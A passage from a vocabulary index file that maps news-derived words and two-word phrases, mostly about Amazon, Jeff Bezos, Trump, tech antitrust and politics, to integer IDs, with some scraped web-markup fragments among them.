calif": 106326, "good sales": 106327, "lemon": 106328, "prestigious": 106329, "primaries": 106330, "labor": 106331, "undercover journalist": 106332, "package revenue": 106333, "developer tearing": 106334, "storyline": 106335, "sharon tal": 106336, "torrents": 106337, "charles krauthammer": 106338, "rhetorical question": 106339, "charity pledge": 106340, "time reportedly": 106341, "manage growth": 106342, "schrader": 106343, "staff pms": 106344, "office began": 106345, "pregnant vanessa": 106346, "regretted working": 106347, "computing arm": 106348, "time sign": 106349, "time positions": 106350, "pointedly labeled": 106351, "ktrh news": 106352, "chamber reuters": 106353, "compensation data": 106354, "warns online": 106355, "wahshington post": 106356, "strapped": 106357, "lindsey wasson": 106358, "pixel phones": 106359, "tenuous history": 106360, "child append": 106361, "businesses yes": 106362, "key results": 106363, "meme taken": 106364, "development offered": 106365, "racist photo": 106366, "ami agreed": 106367, "host john": 106368, "dillards bloomingdales": 106369, "angelica": 106370, "hancock annual": 106371, "remark etsy": 106372, "chocolate milkshakes": 106373, "headset": 106374, "8687": 106375, "allergic": 106376, "people actions": 106377, "uncomfortable recent": 106378, "urban radio": 106379, "encompassing": 106380, "brazil hopes": 106381, "1nhtq5v illinois": 106382, "clever": 106383, "censorship including": 106384, "million series": 106385, "rates started": 106386, "chicksonright": 106387, "great depression": 106388, "friends recommended": 106389, "today ona": 106390, "key parts": 106391, "slut shaming": 106392, "transmitted": 106393, "anti iran": 106394, "hq2 favorite": 106395, "giant behemoth": 106396, "feed demand": 106397, "trump scott": 106398, "giant uss": 106399, "barletta pa": 106400, "political uncertainties": 106401, "tweets commercial": 106402, "drugmaker purdue": 106403, "buybacks": 106404, "folk hero": 106405, "state proposed": 106406, "111": 106407, "reconciliations aplenty": 106408, "related pentagon": 106409, "c_type": 106410, "ponzi scheme": 106411, "boston lawyers": 106412, "valley robber": 106413, "facebook duopoly": 106414, "laptop going": 106415, "oregon valley": 106416, "climber": 106417, "toes despite": 106418, "does brad": 106419, "labor issues": 106420, "transports packages": 106421, "missives": 106422, "counterfeiting alibaba": 106423, "crucial role": 106424, "control sacred": 106425, "recording president": 106426, "farmers think": 106427, "requiring potential": 106428, "wis tweeted": 106429, "tweeting": 106430, "subpoena power": 106431, "space likewise": 106432, "confident dual": 106433, "producers alcoa": 106434, "running complex": 106435, "story noted": 106436, "palmer": 106437, "monopoly advantage": 106438, "earliest according": 106439, "yeah right": 106440, "contractor proposal": 106441, "senator expressed": 106442, "sadiq": 106443, "drew public": 106444, "laws according": 106445, "summarizes": 106446, "inchoate": 106447, "department tried": 106448, "trump hasn": 106449, "steele dossier": 106450, "worker receives": 106451, "proceedings calling": 106452, "tr1200": 106453, "chutzpah": 106454, "ft": 106455, "sold 687": 106456, "carell dress": 106457, "perk job": 106458, "drive rapid": 106459, "gartner says": 106460, "workers tapping": 106461, "miles tailed": 106462, "buff style": 106463, "operator providing": 106464, "insider intelligence": 106465, "independent press": 106466, "bezos according": 106467, "deal jpmorgan": 106468, "lever spokeswoman": 106469, "largest daily": 106470, "nobel peace": 106471, "tamara": 106472, "starve amazon": 106473, "ebitd versus": 106474, "wcnc": 106475, "job creating": 106476, "platforms": 106477, "nonsense": 106478, "based crisis": 106479, "bank owners": 106480, "kaola deal": 106481, "viewership": 106482, "annual fee": 106483, "phillips hamilton": 106484, "committee called": 106485, "squid eats": 106486, "false server719395": 106487, "weblog": 106488, "hires guards": 106489, "enemies episodes": 106490, "robbins": 106491, "drink home": 106492, "great weekend": 106493, "trump aide": 106494, "kiernan shipka": 106495, "writes sarah": 106496, "sent 350": 106497, "remain committed": 106498, "captain": 106499, "journalist murdered": 106500, "eu role": 106501, "far nominated": 106502, "reports quick": 106503, "woodward simon": 106504, "voters tend": 106505, "\u01428": 106506, "media tommy": 106507, "director zama": 106508, "bezos hugging": 106509, "clawback ivanka": 106510, "ebay participated": 106511, "style magazine": 106512, "cortez basks": 106513, "frances mcdormand": 106514, "second want": 106515, "just going": 106516, "euro area": 106517, "feral spirit": 106518, "data stack": 106519, "la verdad": 106520, "post write": 106521, "google suppresses": 106522, "coexist": 106523, "media enemies": 106524, "jaar": 106525, "fitness": 106526, "government cutting": 106527, "cia intends": 106528, "amazon occupies": 106529, "program": 106530, "scheff": 106531, "make according": 106532, "trump claire": 106533, "chavista shit": 106534, "suppressed conservative": 106535, "defense mattis": 106536, "massive penetration": 106537, "nerve reporter": 106538, "sharply higher": 106539, "controversial alexa": 106540, "levels progresisvely": 106541, "newspaper war": 106542, "timothy clary": 106543, "trump personal": 106544, "television comedy": 106545, "hush": 106546, "thelegislative branch": 106547, "kenneth darby": 106548, "drivers joining": 106549, "shimmer": 106550, "devices privacy": 106551, "beast reporting": 106552, "people surveyed": 106553, "malone": 106554, "satisfying": 106555, "explained ace": 106556, "ota": 106557, "house posted": 106558, "different cloud": 106559, "read republican": 106560, "arabella": 106561, "reactid 157": 106562, "enquirer devoted": 106563, "charlotte hornets": 106564, "going higher": 106565, "chase dubious": 106566, "handed attempt": 106567, "html cid": 106568, "pesky hypocrisy": 106569, "reported mccain": 106570, "accountable amazon": 106571, "dec": 106572, "googl treat": 106573, "violence everytown": 106574, "executives aljazeera": 106575, "seagull flying": 106576, "candidates midterms": 106577, "amzn latest": 106578, "tussle": 106579, "jeonghoon": 106580, "consumer brands": 106581, "week cicilline": 106582, "equality act": 106583, "funding secured": 106584, "pricing marketing": 106585, "titan": 106586, "delayed fixing": 106587, "years ina": 106588, "8217 regard": 106589, "powerful novel": 106590, "srussia investigation": 106591, "19th": 106592, "letters usatoday": 106593, "pea shooters": 106594, "product introductions": 106595, "speech thousands": 106596, "roughly double": 106597, "try banking": 106598, "incumbent sen": 106599, "password youll": 106600, "path forward": 106601, "average analyst": 106602, "billionaire announcing": 106603, "late push": 106604, "elected going": 106605, "outback": 106606, "allbritton pam": 106607, "gambled": 106608, "definitely welcome": 106609, "celebrity apprentice": 106610, "springs shores": 106611, "amends": 106612, "president crusade": 106613, "market proves": 106614, "usps subsidizes": 106615, "great marketing": 106616, "outpaced policy": 106617, "metro access": 106618, "government including": 106619, "interaction": 106620, "marginal cost": 106621, "fund chief": 106622, "263 shares": 106623, "hour": 106624, "chief shareholder": 106625, "presorted doses": 106626, "2700": 106627, "gmo labeling": 106628, "wolverines": 106629, "enterprise person": 106630, "controversy supreme": 106631, "palestinians house": 106632, "local impact": 106633, "freds": 106634, "lower tech": 106635, "overruled": 106636, "lillian naa": 106637, "reflecting": 106638, "taylor charlotte": 106639, "kunkle metro": 106640, "hour news": 106641, "haircut suggesting": 106642, "resolution union": 106643, "miller reportedly": 106644, "respectively amazon": 106645, "trump facebook": 106646, "expanded tests": 106647, "rentand": 106648, "existential": 106649, "dexheimer": 106650, "tax return": 106651, "2019 issue": 106652, "happy children": 106653, "money trump": 106654, "senior lecturer": 106655, "player 575": 106656, "carved": 106657, "plot developments": 106658, "street food": 106659, "clowning": 106660, "food giant": 106661, "file": 106662, "maduro wants": 106663, "stream footage": 106664, "oscar party": 106665, "favor thanks": 106666, "content tom": 106667, "tax load": 106668, "unit": 106669, "accounts consumer": 106670, "soccer ball": 106671, "extraordinary wonders": 106672, "nokia mobile": 106673, "customers pick": 106674, "sparring amazon": 106675, "affect tech": 106676, "require lot": 106677, "000 faces": 106678, "houston serial": 106679, "officials trying": 106680, "boss deliver": 106681, "adopted": 106682, "stopthebias": 106683, "union addresses": 106684, "2015 galloway": 106685, "amzn reported": 106686, "retailer recent": 106687, "actually needed": 106688, "elder daughter": 106689, "bit higher": 106690, "2020 primary": 106691, "dow industrial": 106692, "transparency advocate": 106693, "lee kristen": 106694, "stuffer": 106695, "revolutionary smart": 106696, "aws partnered": 106697, "soundproof booth": 106698, "brin divorced": 106699, "shared advice": 106700, "rouven": 106701, "klan": 106702, "dollar government": 106703, "global stakeholders": 106704, "priced vaheesan": 106705, "report cuomo": 106706, "don need": 106707, "offering internal": 106708, "sourcedaniel goodman": 106709, "bastion": 106710, "rosario tools": 106711, "based private": 106712, "anonymous account": 106713, "competition opened": 106714, "newark northern": 106715, "borders guyana": 106716, "analytica controversy": 106717, "buy isn": 106718, "cave mae": 106719, "cahoots": 106720, "discontinued": 106721, "shopping malls": 106722, "page letter": 106723, "tricky situation": 106724, "model crafts": 106725, "failing times": 106726, "zombie": 106727, "counterarguments": 106728, "game price": 106729, "okcupid match": 106730, "police officials": 106731, "support grateful": 106732, "fiber fuel": 106733, "second placeholder": 106734, "really share": 106735, "rotunda": 106736, "nahata ceo": 106737, "nears votes": 106738, "used widely": 106739, "grown adults": 106740, "business shareholders": 106741, "mischief": 106742, "providing": 106743, "expansion amazon": 106744, "jonathan olley": 106745, "christian radio": 106746, "human consequences": 106747, "total hectares": 106748, "lendedu survey": 106749, "ms thompson": 106750, "applauded amazon": 106751, "dedicated everyday": 106752, "amazon valued": 106753, "amazon reinvested": 106754, "house member": 106755, "street smart": 106756, "census citizenship": 106757, "trading griffeth": 106758, "maria new": 106759, "anselm college": 106760, "george pelecanos": 106761, "famous strand": 106762, "effects matthew": 106763, "days leader": 106764, "enhancement": 106765, "ny daily": 106766, "presidency according": 106767, "office starts": 106768, "greenlit": 106769, "idea amazon": 106770, "catching": 106771, "steve schwartzman": 106772, "netflix called": 106773, "best fall": 106774, "decimals": 106775, "festivals": 106776, "cosecha launched": 106777, "dan niles": 106778, "civil unrest": 106779, "local people": 106780, "produce viable": 106781, "york laura": 106782, "haunting": 106783, "resident ivan": 106784, "gop celebration": 106785, "global surge": 106786, "officer continue": 106787, "push paid": 106788, "beta participants": 106789, "completes": 106790, "maker canaan": 106791, "responding directly": 106792, "immigrant defense": 106793, "mary blige": 106794, "tariffs hidden": 106795, "shaming": 106796, "500 dipped": 106797, "alibaba earnings": 106798, "lost think": 106799, "mchugh chairman": 106800, "dewey": 106801, "legal strategies": 106802, "ultimately recover": 106803, "abruptly dropped": 106804, "nadella says": 106805, "evenly": 106806, "multiple suppliers": 106807, "ongoing corporate": 106808, "yadkinville": 106809, "florida drivers": 106810, "print media": 106811, "thank ben": 106812, "gervaiss": 106813, "soundly": 106814, "contract getty": 106815, "suspiciously trumpian": 106816, "widely slammed": 106817, "forged strong": 106818, "finance police": 106819, "challenging economic": 106820, "marriages ended": 106821, "memphis hub": 106822, "biological resources": 106823, "finance new": 106824, "forming relationship": 106825, "published exactly": 106826, "st charles": 106827, "1138et": 106828, "open new": 106829, "career bezos": 106830, "market location": 106831, "river": 106832, "persuading": 106833, "operation plus": 106834, "downtown nashville": 106835, "reached 825": 106836, "deforesters": 106837, "sector lead": 106838, "look alli": 106839, "expenditure cost": 106840, "decimate": 106841, "strother": 106842, "attendees": 106843, "added american": 106844, "publicity shy": 106845, "department filed": 106846, "assistant editor": 106847, "guarantee higher": 106848, "bisbee": 106849, "unlock objects": 106850, "album meaning": 106851, "pitting": 106852, "web desk": 106853, "premier": 106854, "farrow notes": 106855, "loud angry": 106856, "ruminations": 106857, "memo trump": 106858, "codified": 106859, "words tech": 106860, "undemocratic": 106861, "political coverage": 106862, "news politics": 106863, "internet disclaimers": 106864, "hailing giant": 106865, "border tax": 106866, "bearing phrases": 106867, "intimidating": 106868, "introductions npi": 106869, "allows killing": 106870, "alibaba reports": 106871, "seiler": 106872, "aides fear": 106873, "launch lon": 106874, "dangerous cold": 106875, "american forest": 106876, "far resisted": 106877, "year rizer": 106878, "content": 106879, "8221": 106880, "force feed": 106881, "company involvement": 106882, "tonight rathner": 106883, "president stressed": 106884, "facebook videos": 106885, "brigitte macron": 106886, "ea a4ee": 106887, "george noted": 106888, "meyer kenmeyer91": 106889, "growing quickly": 106890, "geographyiq places": 106891, "neosho proposes": 106892, "vatican bishops": 106893, "companies starting": 106894, "disincentivize consumers": 106895, "ago northfield": 106896, "suggesting amazon": 106897, "zone waterproof": 106898, "blowing away": 106899, "know singing": 106900, "family tax": 106901, "assaults trump": 106902, "japanese": 106903, "report sara": 106904, "erp": 106905, "repubs science": 106906, "tom bauerle": 106907, "commission holds": 106908, "truthout wouldn": 106909, "believe higher": 106910, "prohibit material": 106911, "679": 106912, "fubotv subscription": 106913, "vanity ad": 106914, "chiselled": 106915, "cores": 106916, "looking good": 106917, "massachusetts federal": 106918, "marked private": 106919, "mueller issues": 106920, "investor business": 106921, "city": 106922, "bernie talking": 106923, "negative bias": 106924, "set retail": 106925, "zealand": 106926, "ioc reuters": 106927, "pared gains": 106928, "anti bezos": 106929, "newsday impact": 106930, "search product": 106931, "asset sales": 106932, "shares american": 106933, "post bezos": 106934, "real difference": 106935, "cold case": 106936, "reported schiff": 106937, "packages online": 106938, "forward amazon": 106939, "excitement": 106940, "abudu": 106941, "morning pointing": 106942, "apparent low": 106943, "business environment": 106944, "allowing child": 106945, "ago showing": 106946, "dossier democrats": 106947, "soy expansion": 106948, "average shopper": 106949, "trump railed": 106950, "blatant": 106951, "talks kick": 106952, "usa gymnastics": 106953, "leighton meester": 106954, "imagines nightmare": 106955, "ia raise": 106956, "review programme": 106957, "korean official": 106958, "markupid large": 106959, "hacked bezos": 106960, "excessively": 106961, "aswath damodaran": 106962, "travel long": 106963, "faces challenge": 106964, "democratic national": 106965, "named lauren": 106966, "tell trump": 106967, "mysterious dollhouse": 106968, "twitter cicilline": 106969, "time limit": 106970, "mufg": 106971, "huawei device": 106972, "vitale assistant": 106973, "amazon rainforest": 106974, "otis wsj": 106975, "forcibly retiring": 106976, "hours jpmorgan": 106977, "dieting": 106978, "drew closer": 106979, "freight companies": 106980, "uses raw": 106981, "sewage": 106982, "results market": 106983, "collusion exists": 106984, "larry david": 106985, "predicted global": 106986, "prosecutor silvio": 106987, "domestic demand": 106988, "financial conduction": 106989, "butted heads": 106990, "defense business": 106991, "stipulation earns": 106992, "sleep story": 106993, "reef systems": 106994, "says author": 106995, "ott content": 106996, "chinese manufacturing": 106997, "fedora head": 106998, "manager hinted": 106999, "paradox early": 107000, "powerful volume": 107001, "pope benedict": 107002, "extraordinarily": 107003, "music news": 107004, "amazon yielded": 107005, "nycedc president": 107006, "sales stand": 107007, "month warren": 107008, "launch search": 107009, "excited everytime": 107010, "infiltrated": 107011, "add hbo": 107012, "created party": 107013, "nd2pss newswi": 107014, "rich tech": 107015, "signature astute": 107016, "b7a x2x": 107017, "program bernie": 107018, "lanaria": 107019, "ears amazon": 107020, "outs": 107021, "slide did": 107022, "rose slightly": 107023, "year google": 107024, "gi2xdlmntzm": 107025, "technology mergers": 107026, "avoid damaging": 107027, "make speech": 107028, "falling amid": 107029, "recommends creating": 107030, "fakes": 107031, "customers wide": 107032, "street royalty": 107033, "affairs decision": 107034, "show__name fastdom": 107035, "appropriate deal": 107036, "clark says": 107037, "lot read": 107038, "priced": 107039, "trolling people": 107040, "public favors": 107041, "discredited wolff": 107042, "fool transcripts": 107043, "rushnell": 107044, "comments fed": 107045, "carouselcontentitems eq": 107046, "advances border": 107047, "customer satisfaction": 107048, "materials": 107049, "opening accounts": 107050, "initial threat": 107051, "360 contenttype": 107052, "difficult": 107053, "species": 107054, "latest financials": 107055, "wife tracee": 107056, "customer engagement": 107057, "surefire": 107058, "database additionally": 107059, "thread political": 107060, "cooperate": 107061, "district isn": 107062, "lp owns": 107063, "sideline right": 107064, "terrifying story": 107065, "heavy rain": 107066, "thanks cathy": 107067, "donated \u0142111million": 107068, "cape contacted": 107069, "beards moser": 107070, "rider trips": 107071, "commission jean": 107072, "cuomo talks": 107073, "twitter couldn": 107074, "foundation hired": 107075, "read feature": 107076, "shipping program": 107077, "seeking behavior": 107078, "unknown law": 107079, "freewheeling dc": 107080, "white men": 107081, "contractor program": 107082, "brief surge": 107083, "wars journal": 107084, "captain edward": 107085, "franchise fees": 107086, "landing pages": 107087, "r15": 107088, "worth \u014263": 107089, "premier li": 107090, "fukuoka": 107091, "review notable": 107092, "heart bezos": 107093, "pecker ceo": 107094, "subjects schiff": 107095, "resulting 930": 107096, "face threats": 107097, "drago yes": 107098, "impose steel": 107099, "party researchers": 107100, "realnetworks": 107101, "400 plus": 107102, "dark roast": 107103, "hotbeds": 107104, "storyful": 107105, "american express": 107106, "collusion digital": 107107, "times conditions": 107108, "effective cnn": 107109, "workers union": 107110, "fierce critic": 107111, "prospects maybe": 107112, "killed nearly": 107113, "wildfires weather": 107114, "fake paper": 107115, "homes people": 107116, "iac": 107117, "discussions howard": 107118, "rds": 107119, "media rightfully": 107120, "alphaone investment": 107121, "unite donald": 107122, "lost donald": 107123, "gratitude": 107124, "wet": 107125, "force protection": 107126, "routine pharmacy": 107127, "gerber": 107128, "dnainfo": 107129, "colson whitehead": 107130, "initial complaint": 107131, "jschapiro": 107132, "party shippers": 107133, "larger factor": 107134, "adjacent": 107135, "allison oppenheim": 107136, "groundbreaking ceremony": 107137, "brennan trump": 107138, "house amazonbasics": 107139, "posts biggest": 107140, "additional trade": 107141, "external hard": 107142, "near term": 107143, "tennessee border": 107144, "arrested": 107145, "600 share": 107146, "state house": 107147, "little insight": 107148, "bundy": 107149, "119 shares": 107150, "success raised": 107151, "siminoff left": 107152, "detective": 107153, "agreement abramowitz": 107154, "holly": 107155, "stocks bounce": 107156, "guber": 107157, "unspeakable violence": 107158, "stop fresh": 107159, "easily purchased": 107160, "dubbing": 107161, "headquarterless": 107162, "election season": 107163, "newest ads": 107164, "punching way": 107165, "watering": 107166, "reporting requirement": 107167, "sex school": 107168, "antitrust division": 107169, "sandra bullock": 107170, "privately expressed": 107171, "netflix says": 107172, "jeremy smith": 107173, "courtesy": 107174, "problems fake": 107175, "public office": 107176, "snoddy asks": 107177, "monopolistic dominance": 107178, "amica": 107179, "weakens samsung": 107180, "bass island": 107181, "skateboarding sorry": 107182, "144 year": 107183, "reactid 139": 107184, "infrastructure medicare": 107185, "chernin": 107186, "fundamental ownership": 107187, "caution": 107188, "globe holding": 107189, "sandeep lamichhane": 107190, "comprehensive workers": 107191, "secret nadia": 107192, "summit meeting": 107193, "russian friends": 107194, "searching": 107195, "auction based": 107196, "brexit": 107197, "ferrechio": 107198, "john kerry": 107199, "t4 e4": 107200, "ludovic": 107201, "current inability": 107202, "complete educational": 107203, "shareholder resolutions": 107204, "honda odyssey": 107205, "newton managing": 107206, "suggested cancelling": 107207, "influencing public": 107208, "recommends modernizing": 107209, "zume": 107210, "big budgeted": 107211, "years previewing": 107212, "creeping higher": 107213, "news bad": 107214, "services": 107215, "conduct proper": 107216, "woodward work": 107217, "little star": 107218, "created contrarian": 107219, "cdc flu": 107220, "exceedingly rare": 107221, "mobile commerce": 107222, "angel": 107223, "2018 jeff": 107224, "detailed discussion": 107225, "company expansionary": 107226, "exciting insight": 107227, "refresher": 107228, "cah bluemountain": 107229, "minister andrej": 107230, "world quick": 107231, "nieves": 107232, "trade barbs": 107233, "providing new": 107234, "price caps": 107235, "customs laws": 107236, "skyscrapers": 107237, "help zte": 107238, "particular despite": 107239, "terraclear": 107240, "franklin graham": 107241, "makes coolers": 107242, "foibles": 107243, "year 2020": 107244, "potential future": 107245, "theprosecutors did": 107246, "wildenstein18": 107247, "service presents": 107248, "amazon 2260": 107249, "beach investment": 107250, "instagram deal": 107251, "shopper distrust": 107252, "pano": 107253, "journalists coming": 107254, "seen small": 107255, "expected earlier": 107256, "viewer driving": 107257, "passed gates": 107258, "second screen": 107259, "concluded mckenzie": 107260, "involving": 107261, "patent provides": 107262, "huge new": 107263, "specifically voted": 107264, "secret pro": 107265, "human agenda": 107266, "hours overtime": 107267, "international startup": 107268, "remedies": 107269, "redistributed": 107270, "expect amazon": 107271, "gandel": 107272, "broumand scosche": 107273, "anker": 107274, "carmel indiana": 107275, "krieger libertyblitz": 107276, "automated machine": 107277, "bezos 137": 107278, "deuce hotstar": 107279, "trumpzilla": 107280, "government data": 107281, "worse bezos": 107282, "amazon steve": 107283, "forward ev": 107284, "dominate": 107285, "ba function": 107286, "success descriptionplaintext": 107287, "stories include": 107288, "2018 partner": 107289, "auto": 107290, "profitable usps": 107291, "nitrobouncer": 107292, "illicit goods": 107293, "sent 330": 107294, "large presence": 107295, "silk fox": 107296, "health reasons": 107297, "establishing bigger": 107298, "magazine announced": 107299, "peteralexander": 107300, "nearly higher": 107301, "yesterday talks": 107302, "prime example": 107303, "pilot program": 107304, "feud post": 107305, "thumbimageelem undefined": 107306, "bothered": 107307, "roughly 329": 107308, "bolsonaro f\u00e1bio": 107309, "forgave": 107310, "press amazon": 107311, "play bezos": 107312, "month potential": 107313, "trump celebration": 107314, "juicy details": 107315, "transport": 107316, "presidential contender": 107317, "investment management": 107318, "declared cease": 107319, "devin leonard": 107320, "purloined photos": 107321, "administration fo": 107322, "residents arrested": 107323, "rich divorce": 107324, "politics weekly": 107325, "ahead look": 107326, "donovan": 107327, "div div": 107328, "blackrock ceo": 107329, "lending standards": 107330, "wide gap": 107331, "immelt model": 107332, "anthony chukumba": 107333, "favored amazon": 107334, "workers wage": 107335, "multicarrier shipping": 107336, "million tax": 107337, "andrew shepherd": 107338, "vote pew": 107339, "kills newlyweds": 107340, "called hate": 107341, "digital display": 107342, "years 129": 107343, "nasdaq incy": 107344, "work india": 107345, "bashed bezos": 107346, "young users": 107347, "protected barack": 107348, "created monopolies": 107349, "greedy": 107350, "european plane": 107351, "sensitive young": 107352, "love notes": 107353, "tick": 107354, "years meet": 107355, "living dream": 107356, "analysts quickly": 107357, "looks prosperous": 107358, "point ken": 107359, "gupta send": 107360, "essayism": 107361, "bunker": 107362, "rainforest access": 107363, "insulted jeff": 107364, "oversight falls": 107365, "prussia": 107366, "message walmart": 107367, "turn intellectual": 107368, "averts partial": 107369, "extraordinarily unattractive": 107370, "beaucoup": 107371, "chairman furtherance": 107372, "shares users": 107373, "fairly solid": 107374, "2019 cannes": 107375, "story post": 107376, "recently ordered": 107377, "providers selling": 107378, "times saying": 107379, "bland": 107380, "market share": 107381, "global company": 107382, "phrase roll": 107383, "benefit scheme": 107384, "areas commerce": 107385, "election seeking": 107386, "meet did": 107387, "software venture": 107388, "letter revealing": 107389, "sweeping movement": 107390, "jam packed": 107391, "plateau think": 107392, "second annual": 107393, "insider buys": 107394, "proceed": 107395, "aclu reported": 107396, "bloomberg event": 107397, "salke": 107398, "kennedy director": 107399, "uso": 107400, "positions photo": 107401, "related washington": 107402, "lexington mayor": 107403, "microbe": 107404, "expand influence": 107405, "surveillance companies": 107406, "anthropomorphic devices": 107407, "service expenditure": 107408, "presented false": 107409, "seattle public": 107410, "lakeview": 107411, "politics rand": 107412, "governor ducey": 107413, "wisdom tree": 107414, "worry michael": 107415, "right wing": 107416, "commerce 2018": 107417, "public private": 107418, "spy novel": 107419, "man caption": 107420, "yao long": 107421, "cjr daily": 107422, "grint": 107423, "ctl p2": 107424, "night television": 107425, "entertainment weekly": 107426, "incorrect": 107427, "department spokesperson": 107428, "analysts warn": 107429, "combating cybersecurity": 107430, "spend reports": 107431, "smoke hrrr": 107432, "221": 107433, "2017 fierce": 107434, "corp": 107435, "adinfo c_type": 107436, "adult success": 107437, "law applaud": 107438, "sponsorship simple": 107439, "jinping amazon": 107440, "information axios": 107441, "json u2x": 107442, "senate candidate": 107443, "sims satire": 107444, "822 190": 107445, "upskilling": 107446, "period don": 107447, "workers wages": 107448, "incites violence": 107449, "best kept": 107450, "matt flegenheimer": 107451, "logolink null": 107452, "jamaica": 107453, "drawl": 107454, "jeff net": 107455, "aghast": 107456, "wronged workers": 107457, "significant private": 107458, "stay poor": 107459, "mijente campaign": 107460, "tiny microchip": 107461, "senate approved": 107462, "recovers": 107463, "usual returns": 107464, "low according": 107465, "brexit proposal": 107466, "healthy societal": 107467, "large fine": 107468, "semi truck": 107469, "say documents": 107470, "told far": 107471, "waterways": 107472, "transportation thanks": 107473, "newspapers need": 107474, "essay bezos": 107475, "cnet holiday": 107476, "credit karma": 107477, "vineyards": 107478, "stricter emissions": 107479, "corporate location": 107480, "called tim": 107481, "groped": 107482, "amazon sore": 107483, "viacristiano": 107484, "helsinki summit": 107485, "space company": 107486, "detain immigrants": 107487, "uplifting animal": 107488, "circus": 107489, "bezos helping": 107490, "event using": 107491, "conservative news": 107492, "critical parts": 107493, "sortation centers": 107494, "rx bloomberg": 107495, "regulation commission": 107496, "american murder": 107497, "afford greenpeace": 107498, "transformational multibillion": 107499, "ross good": 107500, "criticizes": 107501, "brazil canada": 107502, "generations": 107503, "wicked": 107504, "monopolistic overcharges": 107505, "fareed": 107506, "extreme recklessness": 107507, "feral": 107508, "hawley": 107509, "progressive wing": 107510, "workers absolutely": 107511, "cra examinations": 107512, "inc_newsworthyflag true": 107513, "conflict starting": 107514, "texas chats": 107515, "1530798028 sr": 107516, "included making": 107517, "filtration": 107518, "tiktok app": 107519, "influence bezos": 107520, "called kauffman": 107521, "747 jumbo": 107522, "usa situation": 107523, "summit meetings": 107524, "viral prom": 107525, "massive dangerous": 107526, "jj goode": 107527, "man ra": 107528, "software vendor": 107529, "guyana suriname": 107530, "dc da": 107531, "president richard": 107532, "office investigators": 107533, "foot": 107534, "warming world": 107535, "providers": 107536, "profitable business": 107537, "q4 versus": 107538, "rey recode": 107539, "afghanistan": 107540, "deferments": 107541, "current environment": 107542, "present tariffs": 107543, "eyes cloud": 107544, "toya": 107545, "bolsonaro leadership": 107546, "nixon": 107547, "gawande influential": 107548, "competing working": 107549, "broadened flat": 107550, "dont buy": 107551, "videos posted": 107552, "relations executive": 107553, "tuckercarlson cnn": 107554, "expensive business": 107555, "media content": 107556, "personal integrity": 107557, "iii investigation": 107558, "drug trade": 107559, "tarred": 107560, "soundview": 107561, "offer visit": 107562, "editor make": 107563, "shotgun inside": 107564, "shares added": 107565, "dovey messages": 107566, "companies began": 107567, "years follow": 107568, "larry bennett": 107569, "benefits politicians": 107570, "maezawa": 107571, "trump attorney": 107572, "stricter": 107573, "2018 limit": 107574, "yield dividend": 107575, "lidiane jones": 107576, "exposed google": 107577, "allwood eagle": 107578, "earlier material": 107579, "different reasons": 107580, "unproven methods": 107581, "today things": 107582, "passes nasty": 107583, "oushe": 107584, "control impacts": 107585, "797 billion": 107586, "election related": 107587, "retail shakeouts": 107588, "foundation trust": 107589, "authorized treatment": 107590, "restore ge": 107591, "greatness": 107592, "lawsuit severe": 107593, "photoessayslidemodels null": 107594, "vote away": 107595, "contractor baltimore": 107596, "mesh wi": 107597, "crony way": 107598, "taxed 300": 107599, "online bezos": 107600, "nyc plan": 107601, "britain eu": 107602, "books squarely": 107603, "doctors response": 107604, "pilgrimage": 107605, "best terms": 107606, "founder remains": 107607, "particularly timely": 107608, "inspired antitrust": 107609, "bait": 107610, "5bf3k1f05s jay": 107611, "political muscle": 107612, "musk founder": 107613, "considered action": 107614, "goods stores": 107615, "announced late": 107616, "similar baby": 107617, "outlines plan": 107618, "interagency task": 107619, "buy stuff": 107620, "caller think": 107621, "younger based": 107622, "avril lavigne": 107623, "renews calls": 107624, "0943et": 107625, "vaguest": 107626, "prompt delivery": 107627, "alerted": 107628, "ecosystem": 107629, "center hub": 107630, "hush hush": 107631, "analyst 2018": 107632, "redesign": 107633, "cia belief": 107634, "believes sitting": 107635, "woes soon": 107636, "derail potentially": 107637, "place called": 107638, "year requesting": 107639, "eu hammer": 107640, "bee fights": 107641, "fake phony": 107642, "evolved": 107643, "release figure": 107644, "breakup including": 107645, "contains power": 107646, "dial phone": 107647, "promised number": 107648, "highly lucrative": 107649, "dollar reason": 107650, "specialist wands": 107651, "having mastered": 107652, "old slogan": 107653, "thrilled says": 107654, "going strong": 107655, "world politics": 107656, "coveted grails": 107657, "zinke outrage": 107658, "circle investors": 107659, "associate producer": 107660, "policy positions": 107661, "deal watch": 107662, "posed making": 107663, "business according": 107664, "businessweek journalist": 107665, "shamrocks": 107666, "sanchez soon": 107667, "republican josh": 107668, "bezos investigating": 107669, "statement distributed": 107670, "jens": 107671, "provided small": 107672, "pepsico ceo": 107673, "spatt finance": 107674, "sanders named": 107675, "photo susan": 107676, "bezos yeah": 107677, "payments company": 107678, "national business": 107679, "help deal": 107680, "bag just": 107681, "korea summit": 107682, "day hickman": 107683, "medical alert": 107684, "charging": 107685, "reproductive health": 107686, "deplore": 107687, "countless subpoenas": 107688, "euro trump": 107689, "bezos medium": 107690, "murder cases": 107691, "days protesters": 107692, "erroneous arrest": 107693, "angry city": 107694, "smaller footprint": 107695, "raise cattle": 107696, "alternative countries": 107697, "mics": 107698, "attempt prefer": 107699, "dixie roots": 107700, "dorsey today": 107701, "fortunate time": 107702, "incentives used": 107703, "billionaire pettiness": 107704, "jedi proposal": 107705, "detroit area": 107706, "gop core": 107707, "foolproof numerous": 107708, "whatsapp today": 107709, "political leader": 107710, "society collaborates": 107711, "wildfire": 107712, "long selection": 107713, "insane": 107714, "liaison officers": 107715, "trump caused": 107716, "gravitating": 107717, "money payments": 107718, "discretionary sector": 107719, "claustrophobic": 107720, "loathes": 107721, "life uncategorized": 107722, "minus sign": 107723, "lucy": 107724, "comment norah": 107725, "expanding margins": 107726, "mobile citizens": 107727, "veteran wall": 107728, "market monster": 107729, "christina tosi": 107730, "bezos champion": 107731, "totally biased": 107732, "vote yes": 107733, "tours brazil": 107734, "warren desire": 107735, "pecker reportedly": 107736, "organization adds": 107737, "reserve threatened": 107738, "sebastian stated": 107739, "split bunch": 107740, "cal": 107741, "dailyshot 2018": 107742, "suspected counterfeit": 107743, "congressman alexandria": 107744, "claimed bezos": 107745, "says bavel": 107746, "super pacs": 107747, "publicly steps": 107748, "concerns anthony": 107749, "mafia": 107750, "trends trump": 107751, "senate panel": 107752, "officers saying": 107753, "married maples": 107754, "multiple redundancies": 107755, "bronx democrat": 107756, "lives florence": 107757, "insur": 107758, "profits reached": 107759, "waterproof": 107760, "bolsonaro introduced": 107761, "antitrust regulator": 107762, "va suburb": 107763, "administration energy": 107764, "trustee holds": 107765, "site anonymous": 107766, "edge needs": 107767, "receiving 